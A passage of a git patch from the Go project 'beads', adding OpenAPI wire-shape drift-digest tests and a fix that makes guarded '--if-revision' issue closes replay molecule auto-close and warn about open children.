asString(resolvedAP["format"]) + addlPropsNode = ap + } + } + + c.byKey[entry.Schema+"\x00"+entry.Member] = entry + + switch entry.Type { + case "object": + c.walk(propMap, name+"."+member) + if addlPropsNode != nil { + // A map value that is itself a named/object schema gets + // its own members walked too, under a label distinct + // from an array's "[]" so the two can never collide. + c.walk(addlPropsNode, name+"."+member+"{}") + } + case "array": + if itemsNode != nil { + c.walk(itemsNode, name+"."+member+"[]") + } + } + } + return + } + + if asString(node["type"]) == "array" { + if items, ok := node["items"].(map[string]any); ok { + itemLabel := name + if itemLabel == "" { + itemLabel = label + } + c.walk(items, itemLabel+"[]") + } + } +} + +// mergeCombinator flattens node[key] (allOf or oneOf: a list of subschemas) +// into a synthetic object node with merged properties and required lists, the +// way the pre-existing allOf handling always worked. It reports ok == false +// when node has no such key, leaving node untouched. +func (c *collector) mergeCombinator(node map[string]any, key string) (map[string]any, bool) { + list, ok := node[key].([]any) + if !ok { + return nil, false + } + mergedProps := map[string]any{} + var mergedRequired []any + for _, rawSub := range list { + subMap, ok := rawSub.(map[string]any) + if !ok { + continue + } + sub := c.resolveAny(subMap) + if props, ok := sub["properties"].(map[string]any); ok { + for k, v := range props { + mergedProps[k] = v + } + } + if req, ok := sub["required"].([]any); ok { + mergedRequired = append(mergedRequired, req...) + } + } + return map[string]any{ + "type": "object", + "properties": mergedProps, + "required": mergedRequired, + }, true +} diff --git a/internal/httpapi/wireshape/wireshape_internal_test.go b/internal/httpapi/wireshape/wireshape_internal_test.go new file mode 100644 index 000000000..ee7f7ac47 --- /dev/null +++ b/internal/httpapi/wireshape/wireshape_internal_test.go @@ -0,0 +1,155 @@ +package wireshape + +import ( + "reflect" + "testing" +) + +// paramDoc is a minimal OpenAPI document with one operation, listWidgets, +// whose only parameter is param: a YAML flow mapping, so a case spells its +// whole parameter object on one line. components holds what the $ref cases +// point at. +func paramDoc(param string) []byte { + return []byte(`openapi: 3.0.3 +paths: + /widgets: + get: + operationId: listWidgets + parameters: + - ` + param + ` + responses: {} +components: + parameters: + WidgetColor: {name: color, in: query, required: true, schema: {$ref: '#/components/schemas/Color'}} + schemas: + Color: {type: string, enum: [red, green]} + Shade: {type: integer, format: int32, nullable: true} +`) +} + +// paramDigest runs computeFrom — the walk Compute runs — over paramDoc(param). +// The document has no response or request body, so every entry is a +// parameter entry. +func paramDigest(t *testing.T, param string) Digest { + t.Helper() + d, err := computeFrom(paramDoc(param), 2) + if err != nil { + t.Fatalf("computeFrom: %v", err) + } + return d +} + +// TestWalkParam pins every Entry field walkParam extracts, feeding each +// synthetic parameter object through computeFrom so a $ref'd parameter is +// resolved exactly as Compute resolves it. TestParameterMutationsAreCaught +// cannot see a wrongly extracted field: it mutates golden entries after the +// fact. +func TestWalkParam(t *testing.T) { + const op = "param:listWidgets" + for _, tc := range []struct { + name string + param string + want []Entry // nil: nothing recorded + }{ + {"query array relying on the defaults records form and explode", + `{name: tags, in: query, schema: {type: array, items: {type: string, enum: [b, a]}}}`, + []Entry{{Schema: op, Member: "query:tags", Type: "array", ItemType: "string", ItemEnum: []string{"a", "b"}, Style: "form", Explode: true}}}, + {"explicit explode false is recorded", + `{name: tags, in: query, explode: false, schema: {type: array, items: {type: string}}}`, + []Entry{{Schema: op, Member: "query:tags", Type: "array", ItemType: "string", Style: "form"}}}, + {"explicit non-form style defaults explode to false", + `{name: tags, in: query, style: pipeDelimited, schema: {type: array, items: {type: string}}}`, + []Entry{{Schema: op, Member: "query:tags", Type: "array", ItemType: "string", Style: "pipeDelimited"}}}, + {"path parameter defaults to simple", + `{name: id, in: path, required: true, schema: {type: string}}`, + []Entry{{Schema: op, Member: "path:id", Type: "string", Required: true, Style: "simple"}}}, + {"header parameter defaults to simple", + `{name: X-Trace, in: header, schema: {type: integer}}`, + []Entry{{Schema: op, Member: "header:X-Trace", Type: "integer", Style: "simple"}}}, + {"cookie parameter defaults to form", + `{name: session, in: cookie, schema: {type: string}}`, + []Entry{{Schema: op, Member: "cookie:session", Type: "string", Style: "form", Explode: true}}}, + {"format, nullable and default come from the schema", + `{name: limit, in: query, schema: {type: integer, format: int32, nullable: true, default: 50}}`, + []Entry{{Schema: op, Member: "query:limit", Type: "integer", Format: "int32", Nullable: true, Default: "50", Style: "form", Explode: true}}}, + {"a false default is still a default", + `{name: all, in: query, schema: {type: boolean, default: false}}`, + []Entry{{Schema: op, Member: "query:all", Type: "boolean", Default: "false", Style: "form", Explode: true}}}, + {"a $ref'd parameter and its $ref'd schema are both resolved", + `{$ref: '#/components/parameters/WidgetColor'}`, + []Entry{{Schema: op, Member: "query:color", Type: "string", Enum: []string{"green", "red"}, Required: true, Style: "form", Explode: true}}}, + {"$ref'd array items fill the Item fields", + `{name: shades, in: query, schema: {type: array, items: {$ref: '#/components/schemas/Shade'}}}`, + []Entry{{Schema: op, Member: "query:shades", Type: "array", ItemType: "integer", ItemFormat: "int32", ItemNullable: true, Style: "form", Explode: true}}}, + {"a content parameter is recorded only as its container", + `{name: filter, in: query, content: {application/json: {schema: {type: object}}}}`, + []Entry{{Schema: op, Member: "query:filter", Style: "form", Explode: true}}}, + {"missing in records nothing", + `{name: orphan, schema: {type: string}}`, + nil}, + {"missing name records nothing", + `{in: query, schema: {type: string}}`, + nil}, + {"a dangling $ref records nothing", + `{$ref: '#/components/parameters/Missing'}`, + nil}, + } { + t.Run(tc.name, func(t *testing.T) { + got := paramDigest(t, tc.param).Entries + if len(got) == 0 { + got = nil + } + if !reflect.DeepEqual(got, tc.want) { + t.Errorf("entries:\n got %+v\n want %+v", got, tc.want) + } + }) + } +} + +// TestEffectiveSerializationIsCompared is the Compute-level falsification for +// recording effective style/explode values: changing how a parameter that +// relied on its defaults is serialized must be a changed entry SafeToWrite +// refuses at the same revision, while spelling those same defaults out must +// change nothing. +func TestEffectiveSerializationIsCompared(t *testing.T) { + for _, tc := range []struct { + name string + before, after string + wantChanged bool + }{ + {"explode false on a query array that relied on form's implicit explode", + `{name: tags, in: query, schema: {type: array, items: {type: string}}}`, + `{name: tags, in: query, explode: false, schema: {type: array, items: {type: string}}}`, + true}, + {"a non-form style on a query array that relied on form", + `{name: tags, in: query, schema: {type: array, items: {type: string}}}`, + `{name: tags, in: query, style: spaceDelimited, schema: {type: array, items: {type: string}}}`, + true}, + {"label style on a path parameter that relied on simple", + `{name: id, in: path, required: true, schema: {type: string}}`, + `{name: id, in: path, required: true, style: label, schema: {type: string}}`, + true}, + {"spelling out a query parameter's default style and explode", + `{name: tags, in: query, schema: {type: array, items: {type: string}}}`, + `{name: tags, in: query, style: form, explode: true, schema: {type: array, items: {type: string}}}`, + false}, + {"spelling out a path parameter's default style and explode", + `{name: id, in: path, required: true, schema: {type: string}}`, + `{name: id, in: path, required: true, style: simple, explode: false, schema: {type: string}}`, + false}, + } { + t.Run(tc.name, func(t *testing.T) { + before, after := paramDigest(t, tc.before), paramDigest(t, tc.after) + cmp := Compare(before, after) + if len(cmp.Removed) > 0 || len(cmp.Added) > 0 { + t.Fatalf("parameter key moved: removed=%v added=%v", cmp.Removed, cmp.Added) + } + if changed := len(cmp.Changed) > 0; changed != tc.wantChanged { + t.Errorf("Compare changed=%v, want a change: %v", cmp.Changed, tc.wantChanged) + } + if ok, _ := SafeToWrite(before, after); ok == tc.wantChanged { + t.Errorf("SafeToWrite at the same revision = %v, want %v", ok, !tc.wantChanged) + } + }) + } +} diff --git a/internal/httpapi/wireshape/wireshape_test.go b/internal/httpapi/wireshape/wireshape_test.go new file mode 100644 index 000000000..e2d19d720 --- /dev/null +++ b/internal/httpapi/wireshape/wireshape_test.go @@ -0,0 +1,371 @@ +package wireshape_test + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpapi/wireshape" +) + +// TestWireShapeDigest is the drift gate ContextResponse.wire_revision +// documents: it fails the moment the shape of any EXISTING response member, +// request-body member or operation parameter changes without +// CurrentWireRevision increasing to match. +// +// It is deliberately not one struct-equal, because the ways this can go red +// call for different instructions (goldenDrift picks one). A changed or +// removed entry at the SAME wire_revision is drift nobody signed off on — +// regenerate only after bumping CurrentWireRevision (see +// internal/httpapi/wire_revision.go) and the `wire_revision` property's +// revision table in openapi.v0.yaml, never before. A wire_revision LOWER than +// the golden's is never fixed by regenerating: that table is append-only, so +// the constant itself is wrong. Any other difference — a bumped +// wire_revision, or entries only added — means this golden is simply stale; +// regenerate it with: +// +// go run ./internal/httpapi/wireshape/cmd/gendigest +func TestWireShapeDigest(t *testing.T) { + golden := loadGolden(t) + got, err := wireshape.Compute(httpapi.CurrentWireRevision) + if err != nil { + t.Fatalf("compute digest: %v", err) + } + + if len(got.Entries) < 20 { + // The document describes dozens of response members; a near-empty + // digest means the walk found nothing, which would make every + // assertion below pass vacuously. + t.Fatalf("digest has %d entries, want the full walk", len(got.Entries)) + } + + if drift := goldenDrift(golden, got); drift != "" { + t.Error(drift) + } +} + +// goldenDrift is TestWireShapeDigest's verdict, factored out so +// TestGoldenDrift can drive every arm with synthetic digests. It returns "" +// only when golden records exactly got — the same entries at the same +// wire_revision. Every other state fails; the arms only choose which +// instruction the failure gives. +func goldenDrift(golden, got wireshape.Digest) string { + if got.WireRevision < golden.WireRevision { + return fmt.Sprintf("CurrentWireRevision is %d, LOWER than the %d the golden records: wire_revision only "+ + "ever increases (the revision table in openapi.v0.yaml's `wire_revision` property is append-only), "+ + "so restore CurrentWireRevision (internal/httpapi/wire_revision.go) — never regenerate the golden "+ + "backwards", got.WireRevision, golden.WireRevision) + } + + cmp := wireshape.Compare(golden, got) + changed, removed, added := cmp.Changed, cmp.Removed, cmp.Added + + switch { + case len(changed) > 0 || len(removed) > 0: + if got.WireRevision <= golden.WireRevision { + return fmt.Sprintf("wire shape (response/request-body member or parameter) changed without a "+ + "wire_revision bump: changed=%v removed=%v\n"+ + "bump CurrentWireRevision (internal/httpapi/wire_revision.go) and the revision table "+ + "in openapi.v0.yaml's `wire_revision` property, THEN regenerate the golden with "+ + "`go run ./internal/httpapi/wireshape/cmd/gendigest`", changed, removed) + } + return fmt.Sprintf("wire shape (response/request-body member or parameter) changed (changed=%v "+ + "removed=%v) and wire_revision moved %d -> %d, but the golden was not regenerated: run "+ + "`go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", + changed, removed, golden.WireRevision, got.WireRevision) + case len(added) > 0: + if got.WireRevision == golden.WireRevision { + return fmt.Sprintf("wire shape (response/request-body member or parameter) added (%v) but the "+ + "golden was not regenerated: this is additive and needs no wire_revision bump, but still run "+ + "`go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", added) + } + // Passing here would leave the golden a revision behind + // CurrentWireRevision, and a later non-additive change at that + // already-moved constant would then be told only to regenerate (which + // SafeToWrite allows) instead of to bump. + return fmt.Sprintf("wire shape (response/request-body member or parameter) added (%v) and "+ + "wire_revision moved %d -> %d, but the golden was not regenerated: run "+ + "`go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", + added, golden.WireRevision, got.WireRevision) + case got.WireRevision != golden.WireRevision: + return fmt.Sprintf("CurrentWireRevision is %d but the golden still says %d, with no shape change to justify "+ + "either: regenerate with `go run ./internal/httpapi/wireshape/cmd/gendigest`", + got.WireRevision, golden.WireRevision) + } + return "" +} + +// TestGoldenDrift is TestWireShapeDigest's own falsification: every way the +// committed golden can disagree with a fresh Compute must fail, each with its +// own instruction. "Added after a bump" is the state review found passing +// silently — no arm fired when entries were only added and wire_revision had +// also moved — and a LOWERED wire_revision was told to regenerate, which +// would have written the golden's revision backwards. +func TestGoldenDrift(t *testing.T) { + golden := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "Widget", Member: "name", Type: "string", Required: true}, + }, + } + changed := []wireshape.Entry{{Schema: "Widget", Member: "name", Type: "integer", Required: true}} + added := append(append([]wireshape.Entry{}, golden.Entries...), + wireshape.Entry{Schema: "Widget", Member: "color", Type: "string"}) + + for _, tc := range []struct { + name string + got wireshape.Digest + want []string // phrases the failure must contain; none means the golden is current + }{ + {"identical digest is current", + golden, nil}, + {"changed entry at the same revision asks for a bump", + wireshape.Digest{WireRevision: 2, Entries: changed}, []string{"changed without a wire_revision bump"}}, + {"removed entry at the same revision asks for a bump", + wireshape.Digest{WireRevision: 2}, []string{"changed without a wire_revision bump"}}, + {"changed entry after a bump asks for a regenerate", + wireshape.Digest{WireRevision: 3, Entries: changed}, []string{"changed (changed=", "moved 2 -> 3", "not regenerated"}}, + {"added entry at the same revision asks for a regenerate", + wireshape.Digest{WireRevision: 2, Entries: added}, []string{"added (", "needs no wire_revision bump"}}, + {"added entry after a bump asks for a regenerate", + wireshape.Digest{WireRevision: 3, Entries: added}, []string{"added (", "moved 2 -> 3", "not regenerated"}}, + {"bump with no shape change asks for a regenerate", + wireshape.Digest{WireRevision: 3, Entries: golden.Entries}, []string{"no shape change"}}, + {"lowered revision with no shape change asks to restore the constant", + wireshape.Digest{WireRevision: 1, Entries: golden.Entries}, []string{"LOWER than the 2", "never regenerate the golden backwards"}}, + {"changed entry at a lowered revision asks to restore the constant", + wireshape.Digest{WireRevision: 1, Entries: changed}, []string{"LOWER than the 2"}}, + {"added entry at a lowered revision asks to restore the constant", + wireshape.Digest{WireRevision: 1, Entries: added}, []string{"LOWER than the 2"}}, + } { + t.Run(tc.name, func(t *testing.T) { + drift := goldenDrift(golden, tc.got) + if len(tc.want) == 0 { + if drift != "" { + t.Fatalf("current golden reported as drift: %s", drift) + } + return + } + if drift == "" { + t.Fatal("stale golden passed silently") + } + for _, phrase := range tc.want { + if !strings.Contains(drift, phrase) { + t.Errorf("drift %q does not contain %q", drift, phrase) + } + } + }) + } +} + +// TestSafeToWrite is the gendigest write guard's own falsification (review +// MEDIUM: "refuse to write changed or removed entries unless +// CurrentWireRevision is higher than the golden's recorded revision"), plus +// the refusal of any candidate whose revision is LOWER than the golden's. +func TestSafeToWrite(t *testing.T) { + base := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "Widget", Member: "name", Type: "string", Required: true}, + }, + } + + t.Run("pure addition at the same revision is always safe", func(t *testing.T) { + candidate := wireshape.Digest{ + WireRevision: 2, + Entries: append(append([]wireshape.Entry{}, base.Entries...), + wireshape.Entry{Schema: "Widget", Member: "color", Type: "string"}), + } + if ok, reason := wireshape.SafeToWrite(base, candidate); !ok { + t.Fatalf("pure addition refused: %s", reason) + } + }) + + t.Run("identical digest is always safe", func(t *testing.T) { + if ok, reason := wireshape.SafeToWrite(base, base); !ok { + t.Fatalf("identical digest refused: %s", reason) + } + }) + + t.Run("changed entry at the same revision is refused", func(t *testing.T) { + candidate := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{{Schema: "Widget", Member: "name", Type: "integer", Required: true}}, + } + if ok, _ := wireshape.SafeToWrite(base, candidate); ok { + t.Fatal("changed entry at the same revision was allowed") + } + }) + + t.Run("removed entry at the same revision is refused", func(t *testing.T) { + candidate := wireshape.Digest{WireRevision: 2, Entries: nil} + if ok, _ := wireshape.SafeToWrite(base, candidate); ok { + t.Fatal("removed entry at the same revision was allowed") + } + }) + + t.Run("changed entry with a lower revision is refused", func(t *testing.T) { + candidate := wireshape.Digest{ + WireRevision: 1, + Entries: []wireshape.Entry{{Schema: "Widget", Member: "name", Type: "integer", Required: true}}, + } + if ok, _ := wireshape.SafeToWrite(base, candidate); ok { + t.Fatal("changed entry with a LOWER revision was allowed") + } + }) + + t.Run("unchanged entries with a lower revision are refused", func(t *testing.T) { + candidate := wireshape.Digest{WireRevision: 1, Entries: base.Entries} + ok, reason := wireshape.SafeToWrite(base, candidate) + if ok { + t.Fatal("unchanged entries with a LOWER revision were allowed — the golden's revision would move backwards") + } + if !strings.Contains(reason, "append-only") { + t.Errorf("refusal %q does not point at the append-only revision table", reason) + } + }) + + t.Run("pure addition with a lower revision is refused", func(t *testing.T) { + candidate := wireshape.Digest{ + WireRevision: 1, + Entries: append(append([]wireshape.Entry{}, base.Entries...), + wireshape.Entry{Schema: "Widget", Member: "color", Type: "string"}), + } + if ok, _ := wireshape.SafeToWrite(base, candidate); ok { + t.Fatal("pure addition with a LOWER revision was allowed — the golden's revision would move backwards") + } + }) + + t.Run("changed entry with a higher revision is safe", func(t *testing.T) { + candidate := wireshape.Digest{ + WireRevision: 3, + Entries: []wireshape.Entry{{Schema: "Widget", Member: "name", Type: "integer", Required: true}}, + } + if ok, reason := wireshape.SafeToWrite(base, candidate); !ok { + t.Fatalf("changed entry with a higher revision refused: %s", reason) + } + }) + + t.Run("removed entry with a higher revision is safe", func(t *testing.T) { + candidate := wireshape.Digest{WireRevision: 3, Entries: nil} + if ok, reason := wireshape.SafeToWrite(base, candidate); !ok { + t.Fatalf("removed entry with a higher revision refused: %s", reason) + } + }) +} + +// TestParameterMutationsAreCaught is the falsification for how Compare and +// SafeToWrite treat the parameter side of the digest (review: "the digest +// doesn't cover operation PARAMETERS ... so a type, enum, required, or +// removal change on an existing parameter passes the gate silently"). It +// mutates real entries out of the committed golden — not a synthetic fixture +// — so a future rename of the `listIssues` limit/sort parameters breaks this +// test loudly instead of letting the coverage go stale unnoticed. Because it +// mutates entries after the fact, it cannot see a field walkParam extracts +// wrongly; that is TestWalkParam's job (wireshape_internal_test.go). +// +// Each case checks the same two things TestSafeToWrite checks for schema +// members: the mutation is refused at the golden's own wire_revision, and +// allowed once the candidate's wire_revision is strictly higher — proving +// SafeToWrite treats a parameter entry exactly as non-additively as a +// response or request-body entry, using nothing parameter-specific. +func TestParameterMutationsAreCaught(t *testing.T) { + golden := loadGolden(t) + + withEntry := func(mutate func(e wireshape.Entry) wireshape.Entry, schema, member string) []wireshape.Entry { + out := make([]wireshape.Entry, 0, len(golden.Entries)) + for _, e := range golden.Entries { + if e.Schema == schema && e.Member == member { + e = mutate(e) + } + out = append(out, e) + } + return out + } + withoutEntry := func(schema, member string) []wireshape.Entry { + out := make([]wireshape.Entry, 0, len(golden.Entries)) + for _, e := range golden.Entries { + if e.Schema == schema && e.Member == member { + continue + } + out = append(out, e) + } + return out + } + mustFind := func(schema, member string) wireshape.Entry { + t.Helper() + for _, e := range golden.Entries { + if e.Schema == schema && e.Member == member { + return e + } + } + t.Fatalf("golden has no %s/%s entry (has the spec changed? update this test's fixture keys)", schema, member) + return wireshape.Entry{} + } + + // listIssues' `limit` query parameter: {type: integer, default: "50"}. + limit := mustFind("param:listIssues", "query:limit") + if limit.Type != "integer" { + t.Fatalf("param:listIssues query:limit is %q in the current golden, not \"integer\" — update this test's fixture", limit.Type) + } + // listIssues' `sort` query parameter: {type: string, enum: [created, priority]}. + sortEntry := mustFind("param:listIssues", "query:sort") + if len(sortEntry.Enum) < 2 { + t.Fatalf("param:listIssues query:sort has %v enum values in the current golden, want >= 2 — update this test's fixture", sortEntry.Enum) + } + + cases := []struct { + name string + mutations []wireshape.Entry + }{ + { + name: "removing a parameter", + mutations: withoutEntry("param:listIssues", "query:limit"), + }, + { + name: "retyping a parameter", + mutations: withEntry(func(e wireshape.Entry) wireshape.Entry { + e.Type = "string" + return e + }, "param:listIssues", "query:limit"), + }, + { + name: "narrowing a parameter's enum", + mutations: withEntry(func(e wireshape.Entry) wireshape.Entry { + e.Enum = e.Enum[:1] + return e + }, "param:listIssues", "query:sort"), + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + sameRevision := wireshape.Digest{WireRevision: golden.WireRevision, Entries: tc.mutations} + if ok, _ := wireshape.SafeToWrite(golden, sameRevision); ok { + t.Fatalf("%s at the same wire_revision was allowed — the digest did not see the change", tc.name) + } + + higherRevision := wireshape.Digest{WireRevision: golden.WireRevision + 1, Entries: tc.mutations} + if ok, reason := wireshape.SafeToWrite(golden, higherRevision); !ok { + t.Fatalf("%s with a bumped wire_revision was refused: %s", tc.name, reason) + } + }) + } +} + +func loadGolden(t *testing.T) wireshape.Digest { + t.Helper() + blob, err := os.ReadFile(filepath.Join("testdata", "golden.json")) + if err != nil { + t.Fatalf("read golden: %v", err) + } + var d wireshape.Digest + if err := json.Unmarshal(blob, &d); err != nil { + t.Fatalf("decode golden: %v", err) + } + return d +} From 330c3de7d58d162c9eb335a98875f9fa6d7a7783 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 4 Oct 2026 22:35:09 -0700 Subject: [PATCH 093/325] fix(cli): guarded close replays molecule auto-close and open-children warning (#7222) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(cli): guarded close replays molecule auto-close and open-children warning mc-zndi7.75: runCloseDirectIfRevision/runCloseProxiedIfRevision bypass bd close's batch architecture entirely (BatchCloseItem carries no per-item ExpectedVersion), so they also bypassed two state-derived post-close contracts that the batch route performs for every close: 1. Molecule auto-close (autoCloseCompletedMolecule / its proxied twin autoCloseProxiedCompletedMolecule). Without replaying it here, a guarded close of a molecule's last step left the molecule root stranded open forever. 2. The "warning: closing X with N open child issue(s) still active" line printed when --force waives the engine's open-children refusal. Both routes now replay this work after a successful guarded close, exactly as close.go's batch path and closeProxiedRunPostClose do, on both a real close and an idempotent re-close (the proxied post-close work runs in its own unit of work, mirroring autoCloseProxiedCompletedMolecule's existing batch-route contract). The third item in mc-zndi7.75 — gating on_close hook firing on Changed — is deliberately NOT implemented here: hookIssueOperations.Close (embedded) and recordingIssueUC.CloseIssueChecked (proxied) both fire on_close unconditionally on success, including an idempotent re-close, by explicit, independently pinned design in internal/storage/hook_issue_operations_test.go ("close no-op still fires close" — "Do not 'unify' this either") and internal/storage/uow/notifying_test.go ("a re-close still reports the close" — "THE BATCH COMPOSITIONS DISAGREE WITH THIS ONE, deliberately"). Only the batch closers gate on Changed, to stop a replayed teardown batch from re-running on_close once per item on every pass (ga-2yaqp.1) — a hazard this single-id guarded close doesn't share. Reusing that gating here would contradict both pinned invariants rather than fix a bug, so it's documented in place and left for human review instead of changed unilaterally. Adds CLI integration tests for both routes: guarded re-close healing a stranded-open molecule root, and guarded --force close warning on open children. Co-Authored-By: Claude Sonnet 5 * build(bazel): sync cmd/bd BUILD.bazel for the new --if-revision close tests make bazel-sync (bazel run //:gazelle) after adding close_if_revision_embedded_test.go and close_if_revision_proxied_test.go. Co-Authored-By: Claude Sonnet 5 --------- Co-authored-by: Claude Sonnet 5 --- cmd/bd/BUILD.bazel | 2 + cmd/bd/close_if_revision.go | 83 ++++++++++++++++++++- cmd/bd/close_if_revision_embedded_test.go | 87 +++++++++++++++++++++++ cmd/bd/close_if_revision_proxied_test.go | 78 ++++++++++++++++++++ 4 files changed, 249 insertions(+), 1 deletion(-) create mode 100644 cmd/bd/close_if_revision_embedded_test.go create mode 100644 cmd/bd/close_if_revision_proxied_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index aee09cec9..55b65d61f 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -557,6 +557,8 @@ go_test( "close_failure_report_test.go", "close_fanin_proxied_integration_test.go", "close_gate_test.go", + "close_if_revision_embedded_test.go", + "close_if_revision_proxied_test.go", "close_last_touched_test.go", "close_proxied_integration_test.go", "close_reason_file_test.go", diff --git a/cmd/bd/close_if_revision.go b/cmd/bd/close_if_revision.go index fd799298e..ac5bfda1a 100644 --- a/cmd/bd/close_if_revision.go +++ b/cmd/bd/close_if_revision.go @@ -8,6 +8,7 @@ import ( "github.com/steveyegge/beads/internal/audit" "github.com/steveyegge/beads/internal/debug" + "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/issueops" @@ -64,9 +65,27 @@ func runCloseDirectIfRevision(ctx context.Context, id, reason string, force bool return &exitError{Code: 1} } + // Open children only survive to here when --force waived the engine's + // refusal. Say so, so orphaned children are never silent — parity with + // close.go's batch route (close.go:194-196). + if closeResult.OpenChildren > 0 { + fmt.Fprintf(os.Stderr, "warning: closing %s with %d open child issue(s) still active\n", result.ResolvedID, closeResult.OpenChildren) + } + + // Molecule auto-close is a retry-safe, fully state-derived post-close + // contract (close.go's autoCloseCompletedMolecule doc), so it must replay + // here exactly as it does on the batch route — on a real close AND on an + // idempotent re-close, since the guarded route bypasses BatchCloser + // entirely (mc-zndi7.75) and would otherwise leave a molecule's root + // stranded open forever. + mutatedIDs := []string{result.ResolvedID} + if molID := autoCloseCompletedMolecule(ctx, result.Store, result.ResolvedID, actor, session); molID != "" { + mutatedIDs = append(mutatedIDs, molID) + } + if err := commitPendingIfEmbedded(ctx, result.Store, actor, doltAutoCommitParams{ Command: "close", - IssueIDs: []string{result.ResolvedID}, + IssueIDs: mutatedIDs, }); err != nil { return HandleErrorRespectJSON("failed to commit: %v", err) } @@ -114,14 +133,76 @@ func runCloseProxiedIfRevision(ctx context.Context, id, reason string, force boo fmt.Fprintln(os.Stderr, closeProxiedRefusal(id, closeErr)) return &exitError{Code: 1} } + + // Open children only survive to here when --force waived the engine's + // refusal. Say so, so orphaned children are never silent — parity with + // the direct route above and with close_proxied_server.go's batch route. + if closeResult.OpenChildren > 0 { + fmt.Fprintf(os.Stderr, "warning: closing %s with %d open child issue(s) still active\n", id, closeResult.OpenChildren) + } + + // Molecule auto-close is a retry-safe, fully state-derived post-close + // contract, so it must replay here too — on a real close AND on an + // idempotent re-close — exactly as closeProxiedRunPostClose drives it for + // the batch route (mc-zndi7.75). + runCloseIfRevisionProxiedPostClose(ctx, id, session) + SetLastTouchedID(id) reportClosedIfRevisionResult(id, reason, preCloseStatus, closeResult) return nil } +// runCloseIfRevisionProxiedPostClose re-drives molecule auto-close after a +// guarded proxied close, in its own unit of work exactly as +// closeProxiedRunPostClose runs it for the batch route: outside the close's +// own transaction, because it is outside that transaction's contract. A +// failure here is reported and swallowed — best effort, matching +// autoCloseCompletedMolecule's direct-route twin — so a molecule-healing +// hiccup never turns an otherwise-successful guarded close into a failure. +func runCloseIfRevisionProxiedPostClose(ctx context.Context, id, session string) { + if uowProvider == nil { + return + } + autoClosedMol, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*types.Issue, string, error) { + var warnings []string + mol := autoCloseProxiedCompletedMolecule(ctx, uw, id, actor, session, &warnings) + for _, w := range warnings { + fmt.Fprintf(os.Stderr, "Warning: %s\n", w) + } + if mol == nil { + return nil, "", nil + } + return mol, "bd: auto-close " + mol.ID, nil + }) + if err != nil { + fmt.Fprintf(os.Stderr, "Warning: post-close work failed: %v\n", err) + return + } + if autoClosedMol != nil && !jsonOutput { + debug.PrintNormal("%s Auto-closed completed molecule %s\n", ui.RenderPass("✓"), formatFeedbackID(autoClosedMol.ID, autoClosedMol.Title)) + } +} + // reportClosedIfRevisionResult is the one-id success report shared by both // --if-revision close routes: the audit entry (suppressed for an idempotent // re-close, matching close.go's batch behavior) and the human/--json output. +// +// ON_CLOSE HOOK FIRING IS DELIBERATELY NOT GATED HERE (mc-zndi7.75 item 2). +// ops.Close above reaches hookIssueOperations.Close (embedded) or +// recordingIssueUC.CloseIssueChecked (proxied), and BOTH fire on_close on +// every success, idempotent re-close included — pinned, by name, as +// deliberate "legacy parity" in internal/storage/hook_issue_operations_test.go +// ("close no-op still fires close" — "Do not 'unify' this either") and in +// internal/storage/uow/notifying_test.go ("a re-close still reports the +// close" — "THE BATCH COMPOSITIONS DISAGREE WITH THIS ONE, deliberately"). +// Both comments give the same reasoning: "a re-close answers 'it is closed', +// and a script reconciling on that answer must not be told only sometimes." +// Only the BATCH closers (hookBatchCloser / hookBatchCloser's proxied twin) +// gate on Changed, and only to stop a replayed TEARDOWN BATCH from re-running +// on_close once per item on every pass (ga-2yaqp.1) — a multi-item hazard +// this single-id guarded close does not have. Reusing that gating here would +// contradict two independently pinned, reasoned invariants rather than fix a +// bug; flagged for human review instead of changed unilaterally. func reportClosedIfRevisionResult(id, reason, preCloseStatus string, closeResult issueops.CloseResult) { closedIssue := closeResult.Issue if closedIssue != nil { diff --git a/cmd/bd/close_if_revision_embedded_test.go b/cmd/bd/close_if_revision_embedded_test.go new file mode 100644 index 000000000..9b5721ed0 --- /dev/null +++ b/cmd/bd/close_if_revision_embedded_test.go @@ -0,0 +1,87 @@ +//go:build cgo + +package main + +import ( + "os" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestIfRevisionCloseReplaysMoleculeAutoClose pins mc-zndi7.75 item 1 on the +// embedded/direct --if-revision close route: runCloseDirectIfRevision bypasses +// `bd close`'s batch architecture entirely (A8, beads#4682 — BatchCloseItem +// carries no per-item ExpectedVersion), so it must re-drive molecule auto-close +// itself instead of silently dropping it. +// +// The setup mirrors close_embedded_test.go's +// "close_already_closed_replays_molecule_auto_close": strand a molecule root +// open by reopening ONLY the root after both steps are genuinely closed (the +// state a crash between the final step's close and its root auto-close would +// leave), then re-close the final step — this time guarded — and require the +// stranded-open root to heal. +func TestIfRevisionCloseReplaysMoleculeAutoClose(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "rmg") + + root := bdCreate(t, bd, dir, "Guarded molecule root", "--type", "epic", "--labels", "template") + step1 := bdCreate(t, bd, dir, "Guarded molecule step one", "--type", "task", "--parent", root.ID) + step2 := bdCreate(t, bd, dir, "Guarded molecule step two", "--type", "task", "--parent", root.ID) + + bdClose(t, bd, dir, step1.ID, "--reason", "one") + bdClose(t, bd, dir, step2.ID, "--reason", "two") + if got := bdShow(t, bd, dir, root.ID); got.Status != 